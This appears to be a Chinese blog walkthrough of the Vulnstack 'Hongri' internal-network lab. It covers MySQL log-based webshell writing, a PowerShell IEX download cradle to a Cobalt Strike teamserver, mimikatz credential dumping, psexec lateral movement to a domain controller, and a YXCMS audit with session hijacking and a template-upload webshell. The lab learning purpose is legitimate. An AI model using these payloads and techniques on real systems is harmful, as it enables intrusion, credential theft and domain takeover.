沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

红日内网靶场其一

0x00 前言


最近一直在为找实习奔波,所以没有什么时间来学习。在咨询了内推的师傅得到HR没那么快来消息后,终于可以静下心来好好的提升自己一番。

0x01 环境搭建


下载

下载地址:(http://vulnstack.qiyuanxuetang.net/vuln/detail/2/)

3个靶机的压缩包总共为13GB,请确保自己有足够的空间。

环境搭建

解压后,使用VMware打开,初始密码都为hongrisec@2019。登录后,要求改密码,这个就凭己所好了。

之后进行网络结构的搭建,其网络拓扑结构图如下:

12134

搭建要点:

  • 192.168.136.x为Nat模式,192.168.68.x为仅主机模式。
  • 使用Vmware的设置将Win7中网卡数量增加为2,其中一个网卡使用Nat,另一个网卡使用仅主机模式。
  • 在cmd中输入ncpa.cpl命令即可打开网络设置,修改其中的IPV4地址,并且手动指定DNS服务器为域控。
  • 搭建过程中,发现主机Win2K3没有开启网卡,在我的电脑的设备管理中可将其开启。
  • 域控Win Server 2008 R2中的DNS记录可能要稍微手动修改一下。
  • Win7能够ping通kali,kali不能ping通Win7属于正常现象,因为Win7有防火墙阻拦,但不影响访问Web服务。

在搭建完成后,使用Win7中的PHPStudy开启Web服务,在Win10、Kali中测试是否可以访问。

0x02 攻击过程


信息收集

端口信息

使用Namp进行扫描:

nmap -sC -sV 192.168.136.130

image-20220418161851045

开启了三个端口,服务分别为Apache Web、RPC、Mysql;系统为Windows;其中PHP版本为5.4.45、Apache版本为2.4.23。

网站信息收集

先访问Web服务,发现是一个phpStudy的探针:

image-20220418163402137

暴露了网站的绝对路径,还有PHP的各种信息(包括版本、模块、组件等),另外还提供了一个MySQL数据库连接检测。使用弱密码进行测试,用户:root 密码:root,显示“连接到Mysql数据库正常“,成功猜测出数据库密码。

指纹识别

使用Wappalyzer进行指纹识别:

image-20220418164142680

其实,做了上面的端口扫描、和Web指针的信息收集后,整个网站的架构差不多都收集全了。

目录和敏感文件

使用dirmap、dirsearch或者是GoBuster、御剑进行目录的扫描:

python3 dirsearch.py -u http://192.168.136.130/ -e * -t 100

image-20220418165016360

有phpinfo.php,还使用了phpMyAdmin。首先,先来看phpinfo.php,重点关注disable_functions、open_basedir、allow_url_include、session模块、Web根路径(DOCUMENT_ROOT)、启用模块,使用Ctrl+F进行快速检索,得到的信息汇总如下:

DOCUMENT_ROOT	C:/phpStudy/WWW
allow_url_include	Off	Off
session.save_path	C:\phpStudy\tmp\tmp	C:\phpStudy\tmp\tmp
session.upload_progress.name	PHP_SESSION_UPLOAD_PROGRESS	PHP_SESSION_UPLOAD_PROGRESS
session.serialize_handler	php	php
disable_functions	no value	no value
open_basedir	no value	no value

文件包含几乎是不能了,但是对Webshell的限制比较弱……之后再访问phpMyAdmin,由于刚刚已经猜测出了数据库用户和密码,所以这里可以直接连接。

使用dirmap扫描后,又有了新的发现:

python3 dirmap.py -i http://192.168.136.130/ -lcf -t 1000

image-20220418210850537

可以看到,有一个beifen.rar,很明显是一个备份压缩包,先下载下来,之后再进行审计。

开始攻击

Mysql-GetShell

连接到phpMyAdmin之后,我们先查看是否有写入权限(这里是root,自然有),是否设置了secure_file_priv:
image-20220418195453477

可以看到,值为NULL。但是,请注意,这并不是代表着没有限制,恰恰相反,这是完全限制!!!! 当有某个值时,表示只能写入到该目录,当为NULL时,表示都不能写入,而只有为空时,才是表示完全没限制。

并且这个变量,只能在my.ini,即mysql的配置文件中进行修改,所以我们这里显然就不能使用into dumpfile写入Webshell了。

这里我们尝试使用另外一种方法:log日志写入Webshell。具体操作的语句如下:

SHOW VARIABLES LIKE '%log%';
SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = 'C:\\phpStudy\\WWW\\shell.php'; #注意两次反斜杠
SELECT "<?php @eval($_REQUEST[shell]); phpinfo();?>";

成功写入后,我们就可以使用蚁剑进行连接:

image-20220418211854420

上线CS

因为拿到的就是Administrator权限,所以就不需要提权了。systeminfo查看后,发现有域,所以我们就可以接着来进行域渗透。

使用tasklist /SVC先查询进程中的服务,复制结果到(http://payloads.net/kill_software/),判断是否使用杀软:

image-20220419091329495

结果显示没有杀软程序,如果有我们之后就要做一些免杀工作。先上线CS,在Kali上启动teamserver:

./teamserver 192.168.136.128 mypassword

然后在Win10上,客户端启动start.bat进行连接,填入服务端的IP和密码。成功登录后,新建Listener,选择Beacon HTTP(Beacon为内置监听器;Foregin为外部监听器,用于与MSF等工具通信):

image-20220419090811327

HTTP Hosts为shell反弹的主机,即我们kali的IP;HTTP Hosts (Stager)为Stager马请求下载payload的主机,也是我们的kali。

新建完Listener之后,开始生成Payload(标注了S的为Stageless马,是一个完整的后门程序,与之相反的是Stager马,Stager马类似于Webshell中的小马,会去对应服务器下载大马(stage),实现分阶段攻击),在菜单栏的Attacks里选择Web Drive-by,然后选择Scripted Wed Delivery (S),选择刚刚新建的Listener:

image-20220419094746917

复制给出的Powershell命令:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('(http://192.168.136.128/a)'))"

在蚁剑中执行后,成功上线主机:

image-20220419095257940

如果觉得回显太慢,可以使用sleep 秒数来调低Beacon的心跳值。

内网信息收集

判断是否有域,是否在域内

除了上面提到过的systeminfo外,我们还可以使用ifconfig /all查看DNS服务器,看到域信息;另外还可以使用net view查看到与当前主机建立网络共享的主机名;使用net view /domain可以查看主域;使用net time /domain,如果成功执行,则表示当前主机在域内,如果显示WORKGROUP则表示不在域内,同时还会显示出时间服务器的名称,一般时间服务器就是域控;还可以使用net config workstation查看当前登陆域。

这里经过一系列查询,可以知道当前域为:god.org,当前主机名为stu1.god.org,时间服务器为owa.god.org

存活主机和端口探测

右键主机,选择Explore中的net view,或者在Beacon的shell中手动输入,即可查询到与此主机建立共享的其他主机。

image-20220419142154242

或者使用port scan,也可以扫描出网段内存活的主机还有端口。扫描结果汇总如下:

192.168.68.130:139
192.168.68.130:135
192.168.68.130:80

192.168.68.129:777
192.168.68.129:139
192.168.68.129:135
192.168.68.129:21 (220 Microsoft FTP Service)

192.168.68.128:636
192.168.68.128:389
192.168.68.128:139
192.168.68.128:135
192.168.68.128:88
192.168.68.128:80
192.168.68.128:53

192.168.68.128:445 (platform: 500 version: 6.1 name: OWA domain: GOD)
192.168.68.129:445 (platform: 500 version: 5.2 name: ROOT-TVI862UBEH domain: GOD)
192.168.68.130:445 (platform: 500 version: 6.1 name: STU1 domain: GOD)

可以看到,都开启了445,即samba服务端口。

寻找域控

除了上文的net time /view确定时间服务器的名称外,我们还可以直接使用nslookup god.org来直接显示出域控的IP:

image-20220419214400169

得到域控的IP为:192.168.68.128

此外,还可以使用ping域控主机名的方法,查看域控IP:
image-20220419215444456

查看域控内用户

使用命令net user /domain,即可查看域控内的用户:

image-20220419214516752

横向移动

抓取凭证

主机权限为administrator权限时(没有则要提权),可以使用使用hashdump读取LSASS进程内存中的本地用户密码Hash,使用logonpasswords,或者右键在Access中选择Run as mimikatz,即可使用mimikatz来读取登录过当前系统的用户的明文密码和Hash,之后在菜单栏的View中选择Credentials,即可看到抓取的各种凭证和密码:

image-20220420230115790

31d6cfe0d16ae931b73c59d7e0c089c0是空值的HASH,没有意义。(目前太菜了,还不清楚原因)

除此之外,我们还可以在进程列表中窃取token,方法是:右键Beacon,然后选择Explore,然后选择Process List,之后选择一个是域内用户启动的进程点击Steal Token即可。

SMB Beacon

在上面的内网信息收集中,我们已经知道了三台主机都开启了samba服务的445端口,于是我们可以创建一个信息的SMB Beacon。SMB Beacon 使用命名管道(pipe)通过一个父 Beacon 进行通信。这种对等通信对同一台主机上的 Beacon 和 跨网络的 Beacon 都有效。因为封装在 SMB 协议中,可以绕过防火墙检测,因此得名 SMB Beacon。

首先,我们需要新建一个SMB的Listener(CS 4.0):
image-20220421150606045

然后,我们在上线的主机上右键,选择spawn:

image-20220421151009726

选择我们刚刚新建的Listener后,之久就会反弹出一个新的会话,并且有小圈圈:

image-20220421151315528

在视图处,可以看到此时的连接关系:

image-20220421154112917

psexec凭证登录

在前文,我们已经获得了域内主机信息,还读取了凭证与hash值,并创建了SMB Beacon,接下来我们就可以进行其他主机的横向移动了,这里使用psexec进行移动,他是Windows官方的远程主机维护工具。

在CS中,我们可以在目标主机上选择JUMP,然后选择psexec:

image-20220421154827684

之后选择一个之前抓取的域内凭证,Listener选择创建的SMB Listener,Session选择刚刚的SMB Beacon,如下图:

image-20220421154955592

等待之后,成功拿下域控。使用相同的办法,拿下另外一台主机,最后的拓扑图如下:

image-20220421155522500

至此,整个内网渗透基本结束……其实还有权限维持、痕迹清理之类的,之后再学。

0x03 其他攻击方向


源码审计

之前拿到了beifen.rar,是一个cms的备份文件,所以我们在这里开始对他进行一次白盒审计+黑盒测试。

初步分析

首先是看到一个robots.txt,查看内容为:

#
# robots.txt for YXCMS
#
User-agent: * 
Disallow: /data
Disallow: /protected

于是我们访问data目录,看到里面有两个文件夹:session和db_back。我们的优先目标是进入后台(在不使用之前的phpMyAdmin的情况下),所以就先看看db_back里面的文件,看看是否有数据库备份,留有用户密码。

在其中找到这样一句sql语句:

INSERT INTO yx_admin VALUES('1','1','admin','YX','168a73655bfecefdb15b14984dd2ad60','1384692085','127.0.0.1','0','','')

显然是一个admin用户的数据,但显然这里密码进行了加密,或许待会我们能够在源码中找到加密方式来解密。

之后,我们再来看看session文件夹中的文件,拥有三个session,如果这几个session没有过期的话,或许我们就能够借助其成功登录后台。其中一个session文件的内容如下:

verify|s:4:"4539";auth_groupid|s:1:"1";auth_power|i:-1;yxapppower|i:-1;admin_uid|s:1:"1";admin_username|s:5:"admin";admin_realname|s:2:"YX";admin_sortpower|s:0:"";admin_extendpower|s:0:"";

很明显就是上文的SQL中管理员用户“YX”,ID为”admin”。

架构和路由分析

无论我们使用什么方法来登录后台,第一步肯定要知道后台的URL,所以我们就需要先搞清楚这个CMS的网站架构和路由规则。

一般的CMS都是MVC架构,但这里并没有使用thinkPHP等框架。初步分析后,得到其架构如下:
image-20220421205714398

一般我们不急着去代码中寻找URL解析代码,而是先黑盒看一下,随便点击网址的一个功能,观察URL:

image-20220421210440298

http://192.168.136.130/yxcms/index.php?r=default/page/index&id=100003

熟悉MVC架构的人,可能一眼就能猜出来,其格式为:?r=模块名/控制器名/方法名。这种猜测可以在代码中得到验证,在protected的core.php中我们找到了URL的解析代码:

$route_arr = isset($_REQUEST['r']) ? explode("/", htmlspecialchars($_REQUEST['r'])) : array();
$app_name = empty($route_arr[0]) ? DEFAULT_APP : strtolower($route_arr[0]);
$controller_name = empty($route_arr[1]) ? DEFAULT_CONTROLLER : strtolower($route_arr[1]);
$action_name = empty($route_arr[2]) ? DEFAULT_ACTION : $route_arr[2];
$_REQUEST['r'] = $app_name .'/'. $controller_name .'/'. strtolower($action_name);

define('APP_NAME', $app_name);
define('CONTROLLER_NAME', $controller_name);
define('ACTION_NAME', $action_name);

据此,我们根据目录结构:

image-20220421211919156

便可以直接猜出后台地址为: ?r=admin/index/index,跳转到了登录地址admin/index/login

image-20220421212234198

后台登录

在上文我们初步分析后,提到过有两种方法来登录后台:使用session、破解出SQL中的密码。

在源码找到了密码的处理代码,如下:

$username=in($_POST['username']);
$password=$this->newpwd(in($_POST['password']));

#跟进newpwd:
//密码加密
protected  function newpwd($password)
{
    return md5(substr(md5($password),7,-9));
}

貌似……破解不了……那没办法了,那就试试session吧。根据PHP中的session规则,文件名为sess_123,则Cookie中PHPSESSID指定为123即可,所以我们这里就把Cookie修改一下:

image-20220421213802007

之后再尝试访问admin/index/index,成功登录后台:

image-20220421213937652

当然,这里你也可以使用PHPMyAdmin添加一个新用户,或者是弱密码爆破登录(用户名为admin)。这里浅浅测试了一下,验证码存在重放漏洞,最后浅浅测试一下,即得到密码为:123456

写入Webshell

到了后台,可以看到有一个前台模板的模块,在其中可以新建和编辑由PHP构成的渲染模板。根据URL在源码中,可以很明显的发现这里可以写入Webshell:

public function tpadd()
{
    $tpfile=$_GET['Mname'];
    if(empty($tpfile)) $this->error('非法操作~');
    $templepath=BASE_PATH . $this->tpath.$tpfile.'/';
    if(!$this->isPost()){
        $this->tpfile=$tpfile;
        $this->display();
    }else{
        $filename=trim($_POST['filename']);
        $code=stripcslashes($_POST['code']);
        if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
        $filepath=$templepath.$filename.'.php';
        try{
            file_put_contents($filepath, $code);
        } catch(Exception $e) {
            $this->error('模板文件创建失败!');
        }	
        $this->success('模板文件创建成功!',url('set/tplist',array('Mname'=>$tpfile)));
    }
}

只进行了stripcslashes,删除反斜杠,貌似没什么用……所以新建一个shell.php,并写入如下的内容:

<?php @eval($_REQUEST[shell]); ?>

访问路径,根据源码:

private $tpath='apps/default/view/';//前台模板路径
$tpfile=$_GET['Mname'];
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
$filepath=$templepath.$filename.'.php';

在本地找到对应路径为:protected/apps/default/view/default/xxx.php,访问:

image-20220421224636310

之后连接对应Webshell即可与上文一样开展内网渗透。这里还可以在创建模板时,写成路径穿越的格式,写入到根目录:../../../../../../../../shell.php,毕竟这里对文件名也没有做过滤。

MSF与CS联动

之前我们是一直使用CS的Beacon来进行后续攻击,但其实,MSF上的攻击模块是更加丰富的,我们可以前期使用MSF进行一系列探测与攻击,之后的横向移动再使用CS。

msf上线

在Webshell中发现有域后,我们尝试上线MSF。首先要使用MSF中的msfvenom制作一个后门程序。

0x04 参考


ATT&CK实战-红日安全vulnstack(一) - soapffz’s blog